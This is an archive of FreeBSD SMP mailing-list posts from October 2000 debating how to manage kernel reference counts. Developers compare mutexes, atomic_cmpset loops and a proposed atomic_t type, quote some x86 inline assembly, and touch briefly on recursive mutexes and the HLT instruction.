struct cred might have a mutex per instance, but all struct >> > prison's might use the same mutex. >> > >> >> Is there not a cheaper way to manage reference count then using mutexes? >> I would guess that all architectures must have hardware support (i.e. >> special >> assembly instruction) to atomically increment/decrement+read a 32-bit value >> in a multiprocessor environment > > Yes, but FreeBSD is has too many knights that say NIH! Huh? /me confused > This is where atomic refcounts would simplify the code however for some > reason everyone I've talked to prefers to have this sort of code: Really? Who have you been talking to? :) You can already do this now like so (the KTR code does this for example): static inline int refcount_update(int *ref, int delta) { int old; do { old = *ref; } while (!atomic_cmpset(ref, old, old + delta); return (old + delta); } Then just do: { ... /* add a reference */ refcount_update(&foo->refcount, 1); ... /* remove a reference */ refcount_update(&foo->refcount, -1); } -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 11:15:46 2000 Delivered-To: freebsd-smp@freebsd.org Received: from pike.osd.bsdi.com (pike.osd.bsdi.com [204.216.28.222]) by hub.freebsd.org (Postfix) with ESMTP id 42CF037B479; Tue, 31 Oct 2000 11:15:44 -0800 (PST) Received: from laptop.baldwin.cx (john@dhcp241.osd.bsdi.com [204.216.28.241]) by pike.osd.bsdi.com (8.11.0/8.9.3) with ESMTP id e9VJEDf14684; Tue, 31 Oct 2000 11:14:13 -0800 (PST) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <39FF0AC0.86A3A950@wireless-networks.com> Date: Tue, 31 Oct 2000 11:15:14 -0800 (PST) From: John Baldwin To: Cedric Berger Subject: Re: Reference count invariants in a fine-grained threaded enviro Cc: freebsd-smp@FreeBSD.org, Robert Watson Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 31-Oct-00 Cedric Berger wrote: > > > Robert Watson wrote: >> > [...] >> >> Rules for interactions between mutexes and reference-counted kernel >> objects: >> >> Assumptions: >> >> - Objects with reference counts have a mutex that can protect their >> reference count, and possibly other variables (or other instances). For >> example, struct cred might have a mutex per instance, but all struct >> prison's might use the same mutex. >> > > Is there not a cheaper way to manage reference count then using mutexes? > I would guess that all architectures must have hardware support (i.e. special > assembly instruction) to atomically increment/decrement+read a 32-bit value > in a multiprocessor environment They don't. The ia64 has a 'fetchadd' instruction, but x86 and alpha don't have instructions for this, AFAIK. You can implement it using the atomic_cmpset() functions however. Of course, what happens if you decrement a reference and while you are freeing the object someone else obtains a reference to it? Granted, this shouldn't be possible since if no one can get to an object, no one should be able to find the object to allocate a reference to it.... > Cedric -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 11:23:30 2000 Delivered-To: freebsd-smp@freebsd.org Received: from tinker.exit.com (tinker.exit.com [206.223.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 169BF37B479; Tue, 31 Oct 2000 11:23:26 -0800 (PST) Received: from realtime.exit.com (realtime [206.223.0.5]) by tinker.exit.com (8.11.0/8.11.0) with ESMTP id e9VJNGU54541; Tue, 31 Oct 2000 11:23:16 -0800 (PST) (envelope-from frank@exit.com) Received: (from frank@localhost) by realtime.exit.com (8.11.0/8.11.0) id e9VJNG309763; Tue, 31 Oct 2000 11:23:16 -0800 (PST) (envelope-from frank) From: Frank Mayhar Message-Id: <200010311923.e9VJNG309763@realtime.exit.com> Subject: Re: Reference count invariants in a fine-grained threaded enviro In-Reply-To: from John Baldwin at "Oct 31, 2000 11:15:14 am" To: John Baldwin Date: Tue, 31 Oct 2000 11:23:16 -0800 (PST) Cc: Cedric Berger , freebsd-smp@FreeBSD.ORG, Robert Watson Reply-To: frank@exit.com Organization: Exit Consulting X-Copyright0: Copyright 2000 Frank Mayhar. All Rights Reserved. X-Copyright1: Permission granted for electronic reproduction as Usenet News or email only. X-Mailer: ELM [version 2.4ME+ PL68 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org John Baldwin wrote: > They don't. The ia64 has a 'fetchadd' instruction, but x86 and alpha don't > have instructions for this, AFAIK. You can implement it using the > atomic_cmpset() functions however. Of course, what happens if you decrement > a reference and while you are freeing the object someone else obtains a > reference to it? Granted, this shouldn't be possible since if no one can > get to an object, no one should be able to find the object to allocate a > reference to it.... This kind of thing is indeed the gotcha. It takes thinking the problem out well and careful coding to avoid. Of course, avoiding a lock where possible is almost always a win. -- Frank Mayhar frank@exit.com http://www.exit.com/ Exit Consulting http://store.exit.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 11:48:12 2000 Delivered-To: freebsd-smp@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 06F3337B479; Tue, 31 Oct 2000 11:48:09 -0800 (PST) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e9VJluk03974; Tue, 31 Oct 2000 11:47:56 -0800 (PST) Date: Tue, 31 Oct 2000 11:47:56 -0800 From: Alfred Perlstein To: John Baldwin Cc: freebsd-smp@FreeBSD.org, Robert Watson , Cedric Berger Subject: Re: Reference count invariants in a fine-grained threaded enviro Message-ID: <20001031114756.W22110@fw.wintelcom.net> References: <20001031102110.V22110@fw.wintelcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: ; from jhb@FreeBSD.org on Tue, Oct 31, 2000 at 11:15:14AM -0800 Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org * John Baldwin [001031 11:15] wrote: > > On 31-Oct-00 Alfred Perlstein wrote: > > * Cedric Berger [001031 10:11] wrote: > >> > >> > >> Robert Watson wrote: > >> > > >> [...] > >> > > >> > Rules for interactions between mutexes and reference-counted kernel > >> > objects: > >> > > >> > Assumptions: > >> > > >> > - Objects with reference counts have a mutex that can protect their > >> > reference count, and possibly other variables (or other instances). For > >> > example, struct cred might have a mutex per instance, but all struct > >> > prison's might use the same mutex. > >> > > >> > >> Is there not a cheaper way to manage reference count then using mutexes? > >> I would guess that all architectures must have hardware support (i.e. > >> special > >> assembly instruction) to atomically increment/decrement+read a 32-bit value > >> in a multiprocessor environment > > > > Yes, but FreeBSD is has too many knights that say NIH! > > Huh? /me confused > > > This is where atomic refcounts would simplify the code however for some > > reason everyone I've talked to prefers to have this sort of code: > > Really? Who have you been talking to? :) You can already do this now > like so (the KTR code does this for example): > > static inline int > refcount_update(int *ref, int delta) > { > int old; > > do { > old = *ref; > } while (!atomic_cmpset(ref, old, old + delta); > return (old + delta); > } > > Then just do: > > { > ... > /* add a reference */ > refcount_update(&foo->refcount, 1); > ... > /* remove a reference */ > refcount_update(&foo->refcount, -1); > } Hrm... static __inline int atomic_cmpset_int(volatile u_int *dst, u_int exp, u_int src) { int res = exp; __asm __volatile ( " " MPLOCKED " " " cmpxchgl %2,%3 ; " " setz %%al ; " " movzbl %%al,%0 ; " "1: " "# atomic_cmpset_int" : "=a" (res) /* 0 (result) */ : "0" (exp), /* 1 */ "r" (src), /* 2 */ "m" (*(dst)) /* 3 */ : "memory"); return (res); } -vs- static __inline int atomic_dec_and_test(volatile atomic_t *v) { unsigned char c; __asm __volatile("lock ; decl %0; sete %1" : "=m" (v->a), "=qm" (c) : "m" (v->a)); return (c != 0); } Again, there's no nice MI abstraction going on with the code currently in place who says all arches can support uint ops atomically? If you want to do it right you'll take the time to study the Linux way of handling this and add the nessesary constructor/destructor wrappers. If you want to make it ugly or use heavyweight mutexes to support simple atomic ops then you can go ahead and do it that way, when and if I get a chance I'll make a patchset to fix it. Your code is more expensive, less portable and harder to understand than what I've presented, I really don't understand why you're so convinced atomic_t isn't needed and somehow this atomic_cmpset_INT is better. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 11:52:34 2000 Delivered-To: freebsd-smp@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id C31B637B4C5; Tue, 31 Oct 2000 11:52:31 -0800 (PST) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e9VJqQY04138; Tue, 31 Oct 2000 11:52:26 -0800 (PST) Date: Tue, 31 Oct 2000 11:52:26 -0800 From: Alfred Perlstein To: Frank Mayhar Cc: John Baldwin , Cedric Berger , freebsd-smp@FreeBSD.ORG, Robert Watson Subject: Re: Reference count invariants in a fine-grained threaded enviro Message-ID: <20001031115226.X22110@fw.wintelcom.net> References: <200010311923.e9VJNG309763@realtime.exit.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <200010311923.e9VJNG309763@realtime.exit.com>; from frank@exit.com on Tue, Oct 31, 2000 at 11:23:16AM -0800 Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org * Frank Mayhar [001031 11:23] wrote: > John Baldwin wrote: > > They don't. The ia64 has a 'fetchadd' instruction, but x86 and alpha don't > > have instructions for this, AFAIK. You can implement it using the > > atomic_cmpset() functions however. Of course, what happens if you decrement > > a reference and while you are freeing the object someone else obtains a > > reference to it? Granted, this shouldn't be possible since if no one can > > get to an object, no one should be able to find the object to allocate a > > reference to it.... > > This kind of thing is indeed the gotcha. It takes thinking the problem out > well and careful coding to avoid. Of course, avoiding a lock where possible > is almost always a win. I've already explained that this case is handled simply by using a lock in the parent! This error can't happen, it would be a severe error to free/destroy a struct proc twice, hence there should already be locking over the ucred pointer in the struct proc through this 'object'. If you think about it, with either atomic_t or mutexes this must be true (implicit mutual exclusion through a single reference point) or you're going to have problems. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 11:55:17 2000 Delivered-To: freebsd-smp@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 2E9E337B479; Tue, 31 Oct 2000 11:55:14 -0800 (PST) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e9VJt8C04227; Tue, 31 Oct 2000 11:55:08 -0800 (PST) Date: Tue, 31 Oct 2000 11:55:07 -0800 From: Alfred Perlstein To: Chuck Paterson Cc: Cedric Berger , Robert Watson , freebsd-smp@FreeBSD.ORG Subject: Re: Reference count invariants in a fine-grained threaded environment Message-ID: <20001031115506.Y22110@fw.wintelcom.net> References: <20001031102110.V22110@fw.wintelcom.net> <200010311857.LAA02433@berserker.bsdi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <200010311857.LAA02433@berserker.bsdi.com>; from cp@bsdi.com on Tue, Oct 31, 2000 at 11:57:09AM -0700 Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org * Chuck Paterson [001031 10:57] wrote: > Alfred, > > I'm a little surprised. I thought you won the argument to > use atomic operations as long as long as all the needed operations > such as the decrement and test, and examine without modification > were present. You certainly convinced me. I though we had got to > the point of just working out what we wanted to do for size. > > This is of course only where a mutex isn't already required > for internal data integrity. Robert Watson's explanation on how he was going to handle atomic ops with mutexes rather than discussing my proposed atomic_t (or atomicref_t) made it pretty clear that either he has somehow missed (happens to disagree with) my proposals. I've also been unable to convice the SMP project leader Jason Evans and the main smp coder Jonathan Baldwin of the merits of atomic_t. My proposal is a simple atomic type that has these features: 1) needs to be 'constructed' and 'destroyed' via functions 2) offers at least/about 24 bits of precision 3) (optional) supports AND/OR ops 4) supports increments and decrements with a special "decrement and return if 0 has been reached" The virtues of atomic_t are: 1) cheaper (if not abused, meaing one probably shouldn't implement something like the tcpstats struct using atomics because you may need to perform several atomic ops in a row and it would be cheaper to hold a mutex over the entire struct) 2) less storage requirement on most archs (enjoy the bloat on ucred :( if you use mutexes all over) 3) if an arch doesn't support atomic memory ops the con/destructors can be used to initialize a mutex within the machine depandant struct. 4) non blocking on most archs that support it without mutexes Linux supports these ops through includes/arch/asm-{arch}/atomic.h headers if anyone cares to check out what's faster and possible and cleaner. I'm tired of trying to reach concensus on the issue. Robert, if you like this let me know and I'll hand you what I have so far which are the patches for i386. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 12:12:26 2000 Delivered-To: freebsd-smp@freebsd.org Received: from berserker.bsdi.com (berserker.twistedbit.com [199.79.183.1]) by hub.freebsd.org (Postfix) with ESMTP id 0FF3A37B479; Tue, 31 Oct 2000 12:12:22 -0800 (PST) Received: from berserker.bsdi.com (cp@localhost.bsdi.com [127.0.0.1]) by berserker.bsdi.com (8.9.3/8.9.3) with ESMTP id NAA03239; Tue, 31 Oct 2000 13:12:13 -0700 (MST) (envelope-from cp@berserker.bsdi.com) Message-Id: <200010312012.NAA03239@berserker.bsdi.com> To: Alfred Perlstein Cc: Cedric Berger , Robert Watson , freebsd-smp@FreeBSD.ORG Subject: Re: Reference count invariants in a fine-grained threaded environment In-reply-to: Your message of "Tue, 31 Oct 2000 11:55:07 PST." <20001031115506.Y22110@fw.wintelcom.net> From: Chuck Paterson Date: Tue, 31 Oct 2000 13:12:12 -0700 Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Alfred It sounds like what you are asking for is an atomic_24 basically to be just used for reference counting. Right? I really don't have much opinion on this. I think we have the problem that people are seeing your atomic_t being the only atomic, where I believe we also want the various sized atomic operations. These will be atomic on the hardware if supported or synthesized in software. The implementation I personally would choose would not require a creation/destruction function even for the syncthesized operations, but having one certainly leaves the way open for other implementations. I do want the atomic_foos to be structs, not ints or whatever so we can catch incorrect references. Chuck ----- Begin Included Message ----- Date: Tue, 31 Oct 2000 11:55:07 -0800 From: Alfred Perlstein To: Chuck Paterson Subject: Re: Reference count invariants in a fine-grained threaded environment cc: Cedric Berger , Robert Watson , freebsd-smp@FreeBSD.ORG * Chuck Paterson [001031 10:57] wrote: > Alfred, > > I'm a little surprised. I thought you won the argument to > use atomic operations as long as long as all the needed operations > such as the decrement and test, and examine without modification > were present. You certainly convinced me. I though we had got to > the point of just working out what we wanted to do for size. > > This is of course only where a mutex isn't already required > for internal data integrity. Robert Watson's explanation on how he was going to handle atomic ops with mutexes rather than discussing my proposed atomic_t (or atomicref_t) made it pretty clear that either he has somehow missed (happens to disagree with) my proposals. I've also been unable to convice the SMP project leader Jason Evans and the main smp coder Jonathan Baldwin of the merits of atomic_t. My proposal is a simple atomic type that has these features: 1) needs to be 'constructed' and 'destroyed' via functions 2) offers at least/about 24 bits of precision 3) (optional) supports AND/OR ops 4) supports increments and decrements with a special "decrement and return if 0 has been reached" The virtues of atomic_t are: 1) cheaper (if not abused, meaing one probably shouldn't implement something like the tcpstats struct using atomics because you may need to perform several atomic ops in a row and it would be cheaper to hold a mutex over the entire struct) 2) less storage requirement on most archs (enjoy the bloat on ucred :( if you use mutexes all over) 3) if an arch doesn't support atomic memory ops the con/destructors can be used to initialize a mutex within the machine depandant struct. 4) non blocking on most archs that support it without mutexes Linux supports these ops through includes/arch/asm-{arch}/atomic.h headers if anyone cares to check out what's faster and possible and cleaner. I'm tired of trying to reach concensus on the issue. Robert, if you like this let me know and I'll hand you what I have so far which are the patches for i386. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message ----- End Included Message ----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 12:14:23 2000 Delivered-To: freebsd-smp@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id D195437B479 for ; Tue, 31 Oct 2000 12:14:20 -0800 (PST) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id PAA95404; Tue, 31 Oct 2000 15:14:08 -0500 (EST) (envelope-from robert@fledge.watson.org) Date: Tue, 31 Oct 2000 15:14:08 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org To: Alfred Perlstein Cc: freebsd-smp@FreeBSD.org Subject: Re: Reference count invariants in a fine-grained threaded environment In-Reply-To: <20001031115506.Y22110@fw.wintelcom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Robert Watson's explanation on how he was going to handle atomic > ops with mutexes rather than discussing my proposed atomic_t (or > atomicref_t) made it pretty clear that either he has somehow missed > (happens to disagree with) my proposals. To be honest, I had forgotten about the atomic operation proposal and was relying only on primitives that we already had. When atomic operations were proposed in the follow-up message I acknowledged that they could be used, but that they didn't meet the needs of the piece of code I was working with. The reason I selected mutexes in the new jail code was the ancillary reason: the same mutex protects the consistency of the data structure the prison structures are linked into, which is a means by which a new reference can be gained. I.e., while atomic operations would work fine for crcopy(), the don't work in environments where new references don't have to be generated by inheritence. For example, in the new prison code, you can either get a reference to a prison by borrowing it from an existing reference, inheritting from an existing reference (i.e., increment the reference count), or by using prison_find() which walks the list of prison structures searching for a particular jailid. If you don't have a mutex protecting the increment there, you can get into a race condition. As I stated in my follow-up e-mail, I'm fine with atomic operations in locations where appropriate. I refuse to comment on the various means by which atomic operations might be implemented, as I am utterly unqualified to comment on that topic. :-) I would be happy with atomic operations in the general case as long as either (a) we provide an alternative that's easy to use for platforms that don't have atomic increment and decrement, or (b) we don't care about platforms without them. This is a moot point if there are no platforms not supporting the atomic operation requirements, but I am not qualified to make statements about that either. :-) Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 12:42:50 2000 Delivered-To: freebsd-smp@freebsd.org Received: from pike.osd.bsdi.com (pike.osd.bsdi.com [204.216.28.222]) by hub.freebsd.org (Postfix) with ESMTP id 3B85137B4C5; Tue, 31 Oct 2000 12:42:47 -0800 (PST) Received: from laptop.baldwin.cx (john@dhcp241.osd.bsdi.com [204.216.28.241]) by pike.osd.bsdi.com (8.11.0/8.9.3) with ESMTP id e9VKfrf18112; Tue, 31 Oct 2000 12:41:53 -0800 (PST) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20001031114756.W22110@fw.wintelcom.net> Date: Tue, 31 Oct 2000 12:42:53 -0800 (PST) From: John Baldwin To: Alfred Perlstein Subject: Re: Reference count invariants in a fine-grained threaded enviro Cc: Cedric Berger Cc: Cedric Berger , Robert Watson , freebsd-smp@FreeBSD.org Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 31-Oct-00 Alfred Perlstein wrote: > * John Baldwin [001031 11:15] wrote: > > Hrm... > > static __inline int > atomic_cmpset_int(volatile u_int *dst, u_int exp, u_int src) > { > int res = exp; > > __asm __volatile ( > " " MPLOCKED " " > " cmpxchgl %2,%3 ; " > " setz %%al ; " > " movzbl %%al,%0 ; " > "1: " > "# atomic_cmpset_int" > : "=a" (res) /* 0 (result) */ > : "0" (exp), /* 1 */ > "r" (src), /* 2 */ > "m" (*(dst)) /* 3 */ > : "memory"); > > return (res); > } > > -vs- > > static __inline int > atomic_dec_and_test(volatile atomic_t *v) > { > unsigned char c; > > __asm __volatile("lock ; decl %0; sete %1" > : "=m" (v->a), "=qm" (c) > : "m" (v->a)); > return (c != 0); > } The main cost of each of these is the 'lock', which is going to drown out the rest of the cost. And actually, if you don't care about the return value (which your code doesn't handle, it just handles testing for zero, a requirement which I was not aware of. Note that mine did more than that) you can just use atomic_subtract(). Geez. > Again, there's no nice MI abstraction going on with the code currently > in place who says all arches can support uint ops atomically? Uh, hang on before you blow your top. I have _*NEVER*_ said I didn't like atomic_t. I was using 'int' for the sake of example. > If you want to make it ugly or use heavyweight mutexes to support > simple atomic ops then you can go ahead and do it that way, when and > if I get a chance I'll make a patchset to fix it. We aren't going to use mutexes to support atomic ops. atomic_cmpset can be used to implement almost all atomic operations. See the IA64 atomic code, for example, which uses an atomic_cmpset() loop to implement add, clear, set, and subtract. > Your code is more expensive, less portable and harder to understand > than what I've presented, I really don't understand why you're so > convinced atomic_t isn't needed and somehow this atomic_cmpset_INT > is better. Actually, atomic_cmpset() loops are already used in a few places in the code and aren't that hard to understand. But I'm not sure what you don't like, refcount_update() or atomic_cmpset(). I was simply showing how updating a refcount and returning the updated value can now be trivially accomplished at _less_ cost than a mutex using our existing atomic operations. I was not defining an API, I was giving an example. -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 14: 8:44 2000 Delivered-To: freebsd-smp@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 81B8E37B479; Tue, 31 Oct 2000 14:08:39 -0800 (PST) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e9VM8dR08665; Tue, 31 Oct 2000 14:08:39 -0800 (PST) Date: Tue, 31 Oct 2000 14:08:39 -0800 From: Alfred Perlstein To: Robert Watson Cc: freebsd-smp@FreeBSD.org Subject: Re: Reference count invariants in a fine-grained threaded environment Message-ID: <20001031140838.A22110@fw.wintelcom.net> References: <20001031115506.Y22110@fw.wintelcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: ; from rwatson@FreeBSD.org on Tue, Oct 31, 2000 at 03:14:08PM -0500 Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org * Robert Watson [001031 12:14] wrote: > > I refuse to comment on the various means by which atomic operations might > be implemented, as I am utterly unqualified to comment on that topic. :-) > I would be happy with atomic operations in the general case as long as > either (a) we provide an alternative that's easy to use for platforms that > don't have atomic increment and decrement, or (b) we don't care about > platforms without them. This is a moot point if there are no platforms > not supporting the atomic operation requirements, but I am not qualified > to make statements about that either. :-) My proposal offers a transparent implementation of 'a' via macro/inlines. On machines that don't support atomic ops we can stick a mutex into the struct hidden by atomic_t. However it's impossible to stick a mutex into a 'uint'. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 14:20:39 2000 Delivered-To: freebsd-smp@freebsd.org Received: from berserker.bsdi.com (berserker.twistedbit.com [199.79.183.1]) by hub.freebsd.org (Postfix) with ESMTP id 4AADB37B479; Tue, 31 Oct 2000 14:20:36 -0800 (PST) Received: from berserker.bsdi.com (cp@localhost.bsdi.com [127.0.0.1]) by berserker.bsdi.com (8.9.3/8.9.3) with ESMTP id PAA04420; Tue, 31 Oct 2000 15:20:32 -0700 (MST) (envelope-from cp@berserker.bsdi.com) Message-Id: <200010312220.PAA04420@berserker.bsdi.com> To: Alfred Perlstein Cc: Robert Watson , freebsd-smp@FreeBSD.ORG Subject: Re: Reference count invariants in a fine-grained threaded environment In-reply-to: Your message of "Tue, 31 Oct 2000 14:08:39 PST." <20001031140838.A22110@fw.wintelcom.net> From: Chuck Paterson Date: Tue, 31 Oct 2000 15:20:32 -0700 Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org } }However it's impossible to stick a mutex into a 'uint'. } I agree that we really want to have atomic types. However you are making the assumption that there is a one to one mapping between atomic variables and mutice when they are implemented as mutexs. In reality these mutice are so shortly held that a many to one mapping works just fine. It may be that the size required to hold the variable is just the variable size where the address of the variable is used to compute the mutex which protects the variable. Having real types does lets us do things like store a pointer to the mutex with the data if we wanted to. Chuck To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 19:50:51 2000 Delivered-To: freebsd-smp@freebsd.org Received: from sydney.worldwide.lemis.com (sydney.worldwide.lemis.com [192.109.197.167]) by hub.freebsd.org (Postfix) with ESMTP id 2427037B4C5; Tue, 31 Oct 2000 19:50:44 -0800 (PST) Received: (from grog@localhost) by wantadilla.lemis.com (8.11.0/8.9.3) id e973vqA28717; Sat, 7 Oct 2000 13:27:52 +0930 (CST) (envelope-from grog) Date: Sat, 7 Oct 2000 13:27:52 +0930 From: Greg Lehey To: Terry Lambert Cc: John Baldwin , Daniel Eischen , arch@FreeBSD.ORG, Alfred Perlstein , Mark Murray , Jake Burkholder , Boris Popov , freebsd-smp@FreeBSD.ORG Subject: Re: Mutexes and semaphores Message-ID: <20001007132752.A28665@wantadilla.lemis.com> References: <20001005113139.C27736@fw.wintelcom.net> <200010052142.OAA15421@usr05.primenet.com> <200009251938.MAA29311@usr02.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <200009251938.MAA29311@usr02.primenet.com>; from tlambert@primenet.com on Mon, Sep 25, 2000 at 07:38:22PM +0000 Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Monday, 25 September 2000 at 19:38:22 +0000, Terry Lambert wrote: >>> If we are going to support recursive mutex, I think it would be >>> better to add separate calls/macros/data types to support them, >>> so the the mtx mutexes can be simplified. Calls to mtx_enter >>> with the recursive mutex type wouldn't even compile. >> >> Err, the recursive nature of the mutexes is very trivial. It >> doesn't affect the complexity of the mutexes at all. > > Yes, it does. Ownership precludes hand-off. Recusrion support > implies permission and tacit approval. > > A mutex is not recursive. There are things you simply can not > implement when recursion is permitted for all of your primitives. > > The most obvious argument is still that a mutex is intended to > protect data, not code. Recursion is only required if the mutex > is actually protecting reentrancy of code, not access to data. On Thursday, 5 October 2000 at 21:42:28 +0000, Terry Lambert wrote: >>> There is another problem; printf's inside a kthread corrupt like >>> crazy. They look very unthreadsafe. >> >> do NOT use printf without Giant. > > This strikes me as being rather inane. > > If printf won't work without holging the lock, then it damn well > should acquire the lock if it isn't already held, and release it > if it acquired it, before returning. Make up your mind. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 21: 4:48 2000 Delivered-To: freebsd-smp@freebsd.org Received: from server.baldwin.cx (server.geekhouse.net [64.81.6.52]) by hub.freebsd.org (Postfix) with ESMTP id 9C35137B4CF for ; Tue, 31 Oct 2000 21:04:45 -0800 (PST) Received: from john.baldwin.cx (root@john.baldwin.cx [192.168.1.18]) by server.baldwin.cx (8.9.3/8.9.3) with ESMTP id VAA64306; Tue, 31 Oct 2000 21:11:38 -0800 (PST) (envelope-from john@baldwin.cx) Received: (from john@localhost) by john.baldwin.cx (8.9.3/8.9.3) id VAA44996; Tue, 31 Oct 2000 21:09:04 -0800 (PST) (envelope-from john) Message-Id: <200011010509.VAA44996@john.baldwin.cx> X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) X-IMAP-Num: 3 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <200010310548.WAA25053@usr02.primenet.com> Date: Tue, 31 Oct 2000 21:09:04 -0800 (PST) From: John Baldwin To: Terry Lambert Subject: Re: HLT Cc: freebsd-smp@FreeBSD.ORG, drony@spray.se Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 31-Oct-00 Terry Lambert wrote: >> Why doesn't the HLT instruction work in FreeBSD when I run an SMP >> kernel? The CPU's runs really hot.. so I'm forced to use an UP >> kernel, where the HLT instruction 